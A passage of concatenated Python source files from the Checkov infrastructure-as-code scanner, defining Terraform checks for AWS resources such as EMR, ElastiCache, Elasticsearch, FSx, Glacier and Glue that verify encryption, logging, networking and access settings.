security_conf and isinstance(security_conf, list) and isinstance(security_conf[0], dict): encrypt_conf = security_conf[0].get("EncryptionConfiguration") if encrypt_conf and isinstance(encrypt_conf, dict) and encrypt_conf.get("EnableAtRestEncryption") is True: ebs_encrypt = find_in_dict( input_dict=encrypt_conf, key_path="AtRestEncryptionConfiguration/LocalDiskEncryptionConfiguration/EnableEbsEncryption", ) if ebs_encrypt: return CheckResult.PASSED return CheckResult.FAILED return CheckResult.UNKNOWN def get_evaluated_keys(self) -> List[str]: return [ "configuration", "configuration/[0]/EncryptionConfiguration/AtRestEncryptionConfiguration/LocalDiskEncryptionConfiguration/EnableEbsEncryption" ] check = EMRClusterConfEncryptsEBS() ================================================ FILE: checkov/terraform/checks/resource/aws/EMRClusterConfEncryptsInTransit.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckResult, CheckCategories from checkov.common.util.data_structures_utils import find_in_dict from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class EMRClusterConfEncryptsInTransit(BaseResourceCheck): def __init__(self) -> None: name = "Ensure EMR Cluster security configuration encrypts InTransit" id = "CKV_AWS_351" supported_resources = ("aws_emr_security_configuration",) categories = (CheckCategories.ENCRYPTION,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult: security_conf = conf.get("configuration") if security_conf and isinstance(security_conf, list) and isinstance(security_conf[0], dict): transit_encrypt = find_in_dict( input_dict=security_conf[0], key_path="EncryptionConfiguration/EnableInTransitEncryption", ) if transit_encrypt: return CheckResult.PASSED return CheckResult.FAILED return CheckResult.UNKNOWN def get_evaluated_keys(self) -> list[str]: return ["configuration"] check = EMRClusterConfEncryptsInTransit() ================================================ FILE: checkov/terraform/checks/resource/aws/EMRClusterConfEncryptsLocalDisk.py ================================================ from __future__ import annotations from typing import Any, List from checkov.common.models.enums import CheckResult, CheckCategories from checkov.common.util.data_structures_utils import find_in_dict from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class EMRClusterConfEncryptsLocalDisk(BaseResourceCheck): def __init__(self) -> None: name = "Ensure EMR Cluster security configuration encrypts local disks" id = "CKV_AWS_349" supported_resources = ("aws_emr_security_configuration",) categories = (CheckCategories.ENCRYPTION,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult: security_conf = conf.get("configuration") if security_conf and isinstance(security_conf, list) and isinstance(security_conf[0], dict): encrypt_conf = security_conf[0].get("EncryptionConfiguration") if encrypt_conf and isinstance(encrypt_conf, dict) and encrypt_conf.get("EnableAtRestEncryption") is True: local_encrypt = find_in_dict( input_dict=encrypt_conf, key_path="AtRestEncryptionConfiguration/LocalDiskEncryptionConfiguration", ) if local_encrypt: return CheckResult.PASSED return CheckResult.FAILED return CheckResult.UNKNOWN def get_evaluated_keys(self) -> List[str]: return [ "configuration", "configuration/[0]/EncryptionConfiguration/AtRestEncryptionConfiguration/LocalDiskEncryptionConfiguration/EnableAtRestEncryption" ] check = EMRClusterConfEncryptsLocalDisk() ================================================ FILE: checkov/terraform/checks/resource/aws/EMRClusterIsEncryptedKMS.py ================================================ from typing import List from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class EMRClusterIsEncryptedKMS(BaseResourceCheck): def __init__(self): name = "Ensure EMR Cluster security configuration encryption is using SSE-KMS" id = "CKV_AWS_171" supported_resources = ['aws_emr_security_configuration'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): if 'configuration' not in conf: return CheckResult.UNKNOWN configuration = conf['configuration'][0] if "SSE-KMS" in str(configuration): return CheckResult.PASSED return CheckResult.FAILED def get_evaluated_keys(self) -> List[str]: return ["configuration/[0]/SSE-KMS"] check = EMRClusterIsEncryptedKMS() ================================================ FILE: checkov/terraform/checks/resource/aws/EMRClusterKerberosAttributes.py ================================================ from typing import Dict, List, Any from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class EMRClusterKerberosAttributes(BaseResourceCheck): def __init__(self) -> None: name = "Ensure that EMR clusters with Kerberos have Kerberos Realm set" id = "CKV_AWS_114" supported_resources = ["aws_emr_cluster"] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: Dict[str, List[Any]]) -> CheckResult: if "kerberos_attributes" not in conf: return CheckResult.UNKNOWN kerberos_attributes = conf["kerberos_attributes"][0] if kerberos_attributes and "realm" in kerberos_attributes: return CheckResult.PASSED return CheckResult.FAILED def get_evaluated_keys(self) -> List[str]: return ["kerberos_attributes/[0]/realm"] check = EMRClusterKerberosAttributes() ================================================ FILE: checkov/terraform/checks/resource/aws/EMRPubliclyAccessible.py ================================================ from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class EMRPubliclyAccessible(BaseResourceValueCheck): def __init__(self): name = "Ensure AWS EMR block public access setting is enabled" id = "CKV_AWS_390" supported_resources = ['aws_emr_block_public_access_configuration'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "block_public_security_group_rules" check = EMRPubliclyAccessible() ================================================ FILE: checkov/terraform/checks/resource/aws/Ec2TransitGatewayAutoAccept.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck class Ec2TransitGatewayAutoAccept(BaseResourceNegativeValueCheck): def __init__(self): """ NIST.800-53.r5 AC-4(21), NIST.800-53.r5 CA-9(1), NIST.800-53.r5 CM-2 EC2 Transit Gateways should not automatically accept VPC attachment requests """ name = "Ensure Transit Gateways do not automatically accept VPC attachment requests" id = "CKV_AWS_331" supported_resources = ['aws_ec2_transit_gateway'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'auto_accept_shared_attachments' def get_forbidden_values(self): return "enable" check = Ec2TransitGatewayAutoAccept() ================================================ FILE: checkov/terraform/checks/resource/aws/ElastiCacheHasCustomSubnet.py ================================================ from typing import Any from checkov.common.models.consts import ANY_VALUE from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class ElastiCacheHasCustomSubnet(BaseResourceValueCheck): def __init__(self) -> None: """ NIST.800-53.r5 AC-4, NIST.800-53.r5 AC-4(21), NIST.800-53.r5 SC-7, NIST.800-53.r5 SC-7(11), NIST.800-53.r5 SC-7(16), NIST.800-53.r5 SC-7(21), NIST.800-53.r5 SC-7(4), NIST.800-53.r5 SC-7(5) ElastiCache clusters should not use the default subnet group """ name = "Ensure ElastiCache clusters do not use the default subnet group" id = "CKV_AWS_323" supported_resources = ("aws_elasticache_cluster",) categories = (CheckCategories.NETWORKING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "subnet_group_name" def get_expected_value(self) -> Any: return ANY_VALUE check = ElastiCacheHasCustomSubnet() ================================================ FILE: checkov/terraform/checks/resource/aws/ElasticBeanstalkUseEnhancedHealthChecks.py ================================================ from typing import List from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class ElasticBeanstalkUseEnhancedHealthChecks(BaseResourceCheck): def __init__(self) -> None: """ NIST.800-53.r5 CA-7, NIST.800-53.r5 SI-2 """ name = "Ensure Elastic Beanstalk environments have enhanced health reporting enabled" id = "CKV_AWS_312" supported_resources = ('aws_elastic_beanstalk_environment',) categories = (CheckCategories.GENERAL_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): settings = conf.get("setting") if settings and isinstance(settings, list): if isinstance(settings[0], list): settings = settings[0] for setting in settings: namespace = setting.get("namespace") if isinstance(namespace, list) and namespace[0] == "aws:elasticbeanstalk:healthreporting:system": name = setting.get("name") if isinstance(name, list) and name[0] == "HealthStreamingEnabled": value = setting.get("value") if value and isinstance(value, list): value = value[0] if value == "True" or (value and isinstance(value, bool)): return CheckResult.PASSED return CheckResult.FAILED def get_evaluated_keys(self) -> List[str]: return ["setting"] check = ElasticBeanstalkUseEnhancedHealthChecks() ================================================ FILE: checkov/terraform/checks/resource/aws/ElasticBeanstalkUseManagedUpdates.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class ElasticBeanstalkUseManagedUpdates(BaseResourceCheck): def __init__(self) -> None: """ NIST.800-53.r5 SI-2, NIST.800-53.r5 SI-2(2), NIST.800-53.r5 SI-2(4), NIST.800-53.r5 SI-2(5) Elastic Beanstalk managed platform updates should be enabled """ name = "Ensure Elastic Beanstalk managed platform updates are enabled" id = "CKV_AWS_340" supported_resources = ('aws_elastic_beanstalk_environment',) categories = (CheckCategories.GENERAL_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): settings = conf.get("setting") if settings and isinstance(settings, list): if isinstance(settings[0], list): settings = settings[0] for setting in settings: namespace = setting.get("namespace") if isinstance(namespace, list) and namespace[0] == "aws:elasticbeanstalk:managedactions": name = setting.get("name") if isinstance(name, list) and name[0] == "ManagedActionsEnabled": value = setting.get("value") if value and isinstance(value, list): value = value[0] if value == "True" or (value and isinstance(value, bool)): return CheckResult.PASSED return CheckResult.FAILED def get_evaluated_keys(self): return ["setting"] check = ElasticBeanstalkUseManagedUpdates() ================================================ FILE: checkov/terraform/checks/resource/aws/ElasticCacheAutomaticBackup.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck class ElasticCacheAutomaticBackup(BaseResourceNegativeValueCheck): def __init__(self): name = "Ensure that Amazon ElastiCache Redis clusters have automatic backup turned on" id = "CKV_AWS_134" supported_resources = ["aws_elasticache_cluster"] categories = [CheckCategories.BACKUP_AND_RECOVERY] super().__init__( name=name, id=id, categories=categories, supported_resources=supported_resources, missing_attribute_result=CheckResult.FAILED, ) def scan_resource_conf(self, conf): if conf.get("engine") == ["memcached"]: return CheckResult.UNKNOWN return super().scan_resource_conf(conf) def get_inspected_key(self): return "snapshot_retention_limit" def get_forbidden_values(self): return [0] check = ElasticCacheAutomaticBackup() ================================================ FILE: checkov/terraform/checks/resource/aws/ElasticCacheAutomaticMinorUpgrades.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class ElasticCacheAutomaticMinorUpgrades(BaseResourceValueCheck): def __init__(self): """ NIST.800-53.r5 SI-2, NIST.800-53.r5 SI-2(2), NIST.800-53.r5 SI-2(4), NIST.800-53.r5 SI-2(5) ElastiCache for Redis cache clusters should have auto minor version upgrades enabled """ name = "Ensure ElastiCache for Redis cache clusters have auto minor version upgrades enabled" id = "CKV_AWS_322" supported_resources = ["aws_elasticache_cluster"] categories = [CheckCategories.GENERAL_SECURITY] super().__init__( name=name, id=id, categories=categories, supported_resources=supported_resources, missing_block_result=CheckResult.PASSED ) def scan_resource_conf(self, conf): if conf.get("engine") == ["memcached"]: return CheckResult.UNKNOWN return super().scan_resource_conf(conf) def get_inspected_key(self): return "auto_minor_version_upgrade" check = ElasticCacheAutomaticMinorUpgrades() ================================================ FILE: checkov/terraform/checks/resource/aws/ElasticacheHasSecurityGroup.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class ElasticacheHasSecurityGroup(BaseResourceCheck): def __init__(self): name = "Ensure no aws_elasticache_security_group resources exist" id = "CKV_AWS_196" supported_resources = ['aws_elasticache_security_group'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): # this resource should not exist - ElastiCache Security Groups are for use only # when working with an ElastiCache cluster outside of a VPC. return CheckResult.FAILED check = ElasticacheHasSecurityGroup() ================================================ FILE: checkov/terraform/checks/resource/aws/ElasticacheReplicationGroupEncryptedWithCMK.py ================================================ from checkov.common.models.consts import ANY_VALUE from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class ElasticacheReplicationGroupEncryptedWithCMK(BaseResourceValueCheck): def __init__(self): name = "Ensure ElastiCache replication group is encrypted by KMS using a customer managed Key (CMK)" id = "CKV_AWS_191" supported_resources = ['aws_elasticache_replication_group'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "kms_key_id" def get_expected_value(self): return ANY_VALUE check = ElasticacheReplicationGroupEncryptedWithCMK() ================================================ FILE: checkov/terraform/checks/resource/aws/ElasticacheReplicationGroupEncryptionAtRest.py ================================================ from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class ElasticacheReplicationGroupEncryptionAtRest(BaseResourceValueCheck): def __init__(self): name = "Ensure all data stored in the ElastiCache Replication Group is securely encrypted at rest" id = "CKV_AWS_29" supported_resources = ['aws_elasticache_replication_group'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "at_rest_encryption_enabled" check = ElasticacheReplicationGroupEncryptionAtRest() ================================================ FILE: checkov/terraform/checks/resource/aws/ElasticacheReplicationGroupEncryptionAtTransit.py ================================================ from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class ElasticacheReplicationGroupEncryptionAtTransit(BaseResourceValueCheck): def __init__(self): name = "Ensure all data stored in the ElastiCache Replication Group is securely encrypted at transit" id = "CKV_AWS_30" supported_resources = ['aws_elasticache_replication_group'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "transit_encryption_enabled" check = ElasticacheReplicationGroupEncryptionAtTransit() ================================================ FILE: checkov/terraform/checks/resource/aws/ElasticacheReplicationGroupEncryptionAtTransitAuthToken.py ================================================ from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck from typing import List class ElasticacheReplicationGroupEncryptionAtTransitAuthToken(BaseResourceCheck): def __init__(self): name = "Ensure all data stored in the ElastiCache Replication Group is securely encrypted at transit and has auth token" id = "CKV_AWS_31" supported_resources = ['aws_elasticache_replication_group'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): """ Looks for encryption configuration at aws_elasticache_replication_group: https://www.terraform.io/docs/providers/aws/r/elasticache_replication_group.html :param conf: aws_elasticache_replication_group configuration :return: """ if "transit_encryption_enabled" in conf.keys() and conf["transit_encryption_enabled"][0] \ and ("auth_token" in conf.keys() or "user_group_ids" in conf.keys()): return CheckResult.PASSED return CheckResult.FAILED def get_evaluated_keys(self) -> List[str]: return ['transit_encryption_enabled', 'auth_token'] check = ElasticacheReplicationGroupEncryptionAtTransitAuthToken() ================================================ FILE: checkov/terraform/checks/resource/aws/ElasticsearchDefaultSG.py ================================================ from checkov.common.models.consts import ANY_VALUE from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class ElasticsearchDefaultSG(BaseResourceValueCheck): def __init__(self): """ If an ES cluster is does not have its Security group specified it tries to use the default SG and that can never be right. """ name = "Ensure that Elasticsearch is not using the default Security Group" id = "CKV_AWS_248" supported_resources = ['aws_elasticsearch_domain', 'aws_opensearch_domain'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "vpc_options/[0]/security_group_ids" def get_expected_value(self): return ANY_VALUE check = ElasticsearchDefaultSG() ================================================ FILE: checkov/terraform/checks/resource/aws/ElasticsearchDomainAuditLogging.py ================================================ from __future__ import annotations from typing import Any from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck from checkov.common.models.enums import CheckCategories, CheckResult class ElasticsearchDomainAuditLogging(BaseResourceCheck): def __init__(self) -> None: name = "Ensure Elasticsearch Domain Audit Logging is enabled" id = "CKV_AWS_317" supported_resources = ("aws_elasticsearch_domain", "aws_opensearch_domain") categories = (CheckCategories.LOGGING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult: options = conf.get("log_publishing_options") if options and isinstance(options, list): for option in options: if isinstance(option, dict): log_type = option.get("log_type") if log_type and isinstance(log_type, list) and log_type[0] == "AUDIT_LOGS": enabled = option.get("enabled") if enabled and isinstance(enabled, list) and enabled[0]: return CheckResult.PASSED return CheckResult.FAILED def get_evaluated_keys(self) -> list[str]: return ["log_publishing_options"] check = ElasticsearchDomainAuditLogging() ================================================ FILE: checkov/terraform/checks/resource/aws/ElasticsearchDomainEnforceHTTPS.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class ElasticsearchDomainEnforceHTTPS(BaseResourceValueCheck): def __init__(self): name = "Ensure Elasticsearch Domain enforces HTTPS" id = "CKV_AWS_83" supported_resources = ['aws_elasticsearch_domain', 'aws_opensearch_domain'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources, missing_block_result=CheckResult.PASSED) def get_inspected_key(self): return "domain_endpoint_options/[0]/enforce_https" check = ElasticsearchDomainEnforceHTTPS() ================================================ FILE: checkov/terraform/checks/resource/aws/ElasticsearchDomainHA.py ================================================ from __future__ import annotations from typing import Any from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck from checkov.common.models.enums import CheckCategories, CheckResult class ElasticsearchDomainHA(BaseResourceCheck): def __init__(self) -> None: """NIST.800-53.r5 CP-10, NIST.800-53.r5 CP-6(2), NIST.800-53.r5 SC-36, NIST.800-53.r5 SC-5(2), NIST.800-53.r5 SI-13(5) Elasticsearch domains should be configured with at least three dedicated master nodes""" name = "Ensure Elasticsearch domains are configured with at least three dedicated master nodes for HA" id = "CKV_AWS_318" supported_resources = ("aws_elasticsearch_domain", "aws_opensearch_domain") categories = (CheckCategories.GENERAL_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult: self.evaluated_keys = ["cluster_config"] config = conf.get("cluster_config") if config and isinstance(config, list): master_count = config[0].get("dedicated_master_count") if ( master_count and isinstance(master_count, list) and isinstance(master_count[0], int) and master_count[0] >= 3 ): zone_awareness = config[0].get("zone_awareness_enabled") if zone_awareness and isinstance(zone_awareness, list) and zone_awareness[0]: return CheckResult.PASSED return CheckResult.FAILED check = ElasticsearchDomainHA() ================================================ FILE: checkov/terraform/checks/resource/aws/ElasticsearchDomainLogging.py ================================================ from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories, CheckResult from checkov.common.models.consts import ANY_VALUE class ElasticsearchDomainLogging(BaseResourceValueCheck): def __init__(self): name = "Ensure Elasticsearch Domain Logging is enabled" id = "CKV_AWS_84" supported_resources = ['aws_elasticsearch_domain', 'aws_opensearch_domain'] categories = [CheckCategories.LOGGING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "log_publishing_options/[0]/cloudwatch_log_group_arn" def scan_resource_conf(self, conf): if conf.get("log_publishing_options") and isinstance(conf.get("log_publishing_options"), list): option = conf.get("log_publishing_options")[0] if isinstance(option, dict) and option.get('cloudwatch_log_group_arn'): if option.get('enabled') == [False]: self.evaluated_keys = ["log_publishing_options/[0]/enabled"] return CheckResult.FAILED return CheckResult.PASSED self.evaluated_keys = ["log_publishing_options"] return CheckResult.FAILED def get_expected_value(self): return ANY_VALUE check = ElasticsearchDomainLogging() ================================================ FILE: checkov/terraform/checks/resource/aws/ElasticsearchEncryption.py ================================================ from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class ElasticsearchEncryption(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure all data stored in the Elasticsearch is securely encrypted at rest" id = "CKV_AWS_5" supported_resources = ('aws_elasticsearch_domain', 'aws_opensearch_domain') categories = (CheckCategories.ENCRYPTION,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "encrypt_at_rest/[0]/enabled" check = ElasticsearchEncryption() ================================================ FILE: checkov/terraform/checks/resource/aws/ElasticsearchEncryptionWithCMK.py ================================================ from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories from checkov.common.models.consts import ANY_VALUE class ElasticsearchEncryptionWithCMK(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure all data stored in the Elasticsearch is encrypted with a CMK" id = "CKV_AWS_247" supported_resources = ('aws_elasticsearch_domain', 'aws_opensearch_domain') categories = (CheckCategories.ENCRYPTION,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "encrypt_at_rest/[0]/kms_key_id" def get_expected_value(self): return ANY_VALUE check = ElasticsearchEncryptionWithCMK() ================================================ FILE: checkov/terraform/checks/resource/aws/ElasticsearchInVPC.py ================================================ from checkov.common.models.consts import ANY_VALUE from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class ElasticsearchInVPC(BaseResourceValueCheck): def __init__(self): name = "Ensure that Elasticsearch is configured inside a VPC" id = "CKV_AWS_137" supported_resources = ['aws_elasticsearch_domain', 'aws_opensearch_domain'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "vpc_options" def get_expected_value(self): return ANY_VALUE check = ElasticsearchInVPC() ================================================ FILE: checkov/terraform/checks/resource/aws/ElasticsearchNodeToNodeEncryption.py ================================================ from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class ElasticsearchNodeToNodeEncryption(BaseResourceCheck): def __init__(self): name = "Ensure all Elasticsearch has node-to-node encryption enabled" id = "CKV_AWS_6" supported_resources = ['aws_elasticsearch_domain', 'aws_opensearch_domain'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): """ Looks for node to node encryption configuration at aws_elasticsearch_domain: https://www.terraform.io/docs/providers/aws/r/elasticsearch_domain.html and https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/opensearch_domain :param conf: aws_elasticsearch_domain configuration :return: """ self.evaluated_keys = ['cluster_config'] cluster_config = conf.get("cluster_config") if not cluster_config or not isinstance(cluster_config[0], dict): return CheckResult.PASSED if "instance_count" not in cluster_config[0]: return CheckResult.PASSED self.evaluated_keys = ['cluster_config/[0]/instance_count'] instance_count = cluster_config[0]["instance_count"] if isinstance(instance_count, list): instance_count = instance_count[0] if not isinstance(instance_count, int): return CheckResult.UNKNOWN if not instance_count: return CheckResult.UNKNOWN if isinstance(instance_count, int) and instance_count <= 1: return CheckResult.PASSED self.evaluated_keys.append('node_to_node_encryption/[0]/enabled') if "node_to_node_encryption" in conf.keys() and "enabled" in conf["node_to_node_encryption"][0]: n2n_enc_enabled = conf["node_to_node_encryption"][0]["enabled"] if isinstance(n2n_enc_enabled, list): n2n_enc_enabled = conf["node_to_node_encryption"][0]["enabled"][0] if not isinstance(n2n_enc_enabled, bool): return CheckResult.UNKNOWN if n2n_enc_enabled: return CheckResult.PASSED return CheckResult.FAILED check = ElasticsearchNodeToNodeEncryption() ================================================ FILE: checkov/terraform/checks/resource/aws/ElasticsearchTLSPolicy.py ================================================ from typing import List, Any from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class ElasticsearchTLSPolicy(BaseResourceValueCheck): def __init__(self) -> None: name = "Verify Elasticsearch domain is using an up to date TLS policy" id = "CKV_AWS_228" supported_resources = ("aws_elasticsearch_domain", "aws_opensearch_domain") categories = (CheckCategories.ENCRYPTION,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "domain_endpoint_options/[0]/tls_security_policy" def get_expected_values(self) -> List[Any]: return ["Policy-Min-TLS-1-2-2019-07", "Policy-Min-TLS-1-2-PFS-2023-10"] def get_expected_value(self) -> Any: return "Policy-Min-TLS-1-2-PFS-2023-10" check = ElasticsearchTLSPolicy() ================================================ FILE: checkov/terraform/checks/resource/aws/FSXOntapFSEncryptedWithCMK.py ================================================ from checkov.common.models.consts import ANY_VALUE from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class FSXOntapFSEncryptedWithCMK(BaseResourceValueCheck): def __init__(self): name = "Ensure fx ontap file system is encrypted by KMS using a customer managed Key (CMK)" id = "CKV_AWS_178" supported_resources = ['aws_fsx_ontap_file_system'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "kms_key_id" def get_expected_value(self): return ANY_VALUE check = FSXOntapFSEncryptedWithCMK() ================================================ FILE: checkov/terraform/checks/resource/aws/FSXOpenZFSFileSystemEncryptedWithCMK.py ================================================ from checkov.common.models.consts import ANY_VALUE from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class FSXOpenZFSFileSystemEncryptedWithCMK(BaseResourceValueCheck): def __init__(self): name = "Ensure resource is encrypted by KMS using a customer managed Key (CMK)" id = "CKV_AWS_203" supported_resources = ['aws_fsx_openzfs_file_system'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "kms_key_id" def get_expected_value(self): return ANY_VALUE check = FSXOpenZFSFileSystemEncryptedWithCMK() ================================================ FILE: checkov/terraform/checks/resource/aws/FSXWindowsFSEncryptedWithCMK.py ================================================ from checkov.common.models.consts import ANY_VALUE from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class FSXWindowsFSEncryptedWithCMK(BaseResourceValueCheck): def __init__(self): name = "Ensure FSX Windows filesystem is encrypted by KMS using a customer managed Key (CMK)" id = "CKV_AWS_179" supported_resources = ['aws_fsx_windows_file_system'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "kms_key_id" def get_expected_value(self): return ANY_VALUE check = FSXWindowsFSEncryptedWithCMK() ================================================ FILE: checkov/terraform/checks/resource/aws/GlacierVaultAnyPrincipal.py ================================================ from __future__ import annotations import json import re from typing import List, Any from cloudsplaining.scan.resource_policy_document import ResourcePolicyDocument from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck DATA_TO_JSON_PATTERN = re.compile(r"\$?\{?(.+?)(?=.json).json\}?") class GlacierVaultAnyPrincipal(BaseResourceCheck): def __init__(self) -> None: name = "Ensure Glacier Vault access policy is not public by only allowing specific services or principals to access it" id = "CKV_AWS_167" supported_resources = ("aws_glacier_vault",) categories = (CheckCategories.IAM,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult: if "access_policy" not in conf: return CheckResult.PASSED policy_obj = conf["access_policy"][0] if isinstance(policy_obj, str): if re.match(DATA_TO_JSON_PATTERN, policy_obj): return CheckResult.UNKNOWN else: try: policy_obj = json.loads(policy_obj) except Exception: return CheckResult.UNKNOWN try: policy = ResourcePolicyDocument(policy=policy_obj) if policy.internet_accessible_actions: return CheckResult.FAILED except (TypeError, AttributeError): return CheckResult.UNKNOWN return CheckResult.PASSED def get_evaluated_keys(self) -> List[str]: return ["access_policy"] check = GlacierVaultAnyPrincipal() ================================================ FILE: checkov/terraform/checks/resource/aws/GlobalAcceleratorAcceleratorFlowLogs.py ================================================ from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class GlobalAcceleratorAcceleratorFlowLogs(BaseResourceValueCheck): def __init__(self): name = "Ensure Global Accelerator accelerator has flow logs enabled" id = "CKV_AWS_75" supported_resources = ['aws_globalaccelerator_accelerator'] categories = [CheckCategories.LOGGING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "attributes/[0]/flow_logs_enabled" check = GlobalAcceleratorAcceleratorFlowLogs() ================================================ FILE: checkov/terraform/checks/resource/aws/GlueDataCatalogEncryption.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceCheck class GlueDataCatalogEncryption(BaseResourceCheck): def __init__(self): name = "Ensure Glue Data Catalog Encryption is enabled" id = "CKV_AWS_94" supported_resources = ['aws_glue_data_catalog_encryption_settings'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): if 'data_catalog_encryption_settings' not in conf: return CheckResult.FAILED data_conf = conf['data_catalog_encryption_settings'][0] connection_encrypted = False encrypted_at_rest = False if 'encryption_at_rest' in data_conf: enc_res = data_conf['encryption_at_rest'][0] if 'catalog_encryption_mode' in enc_res and 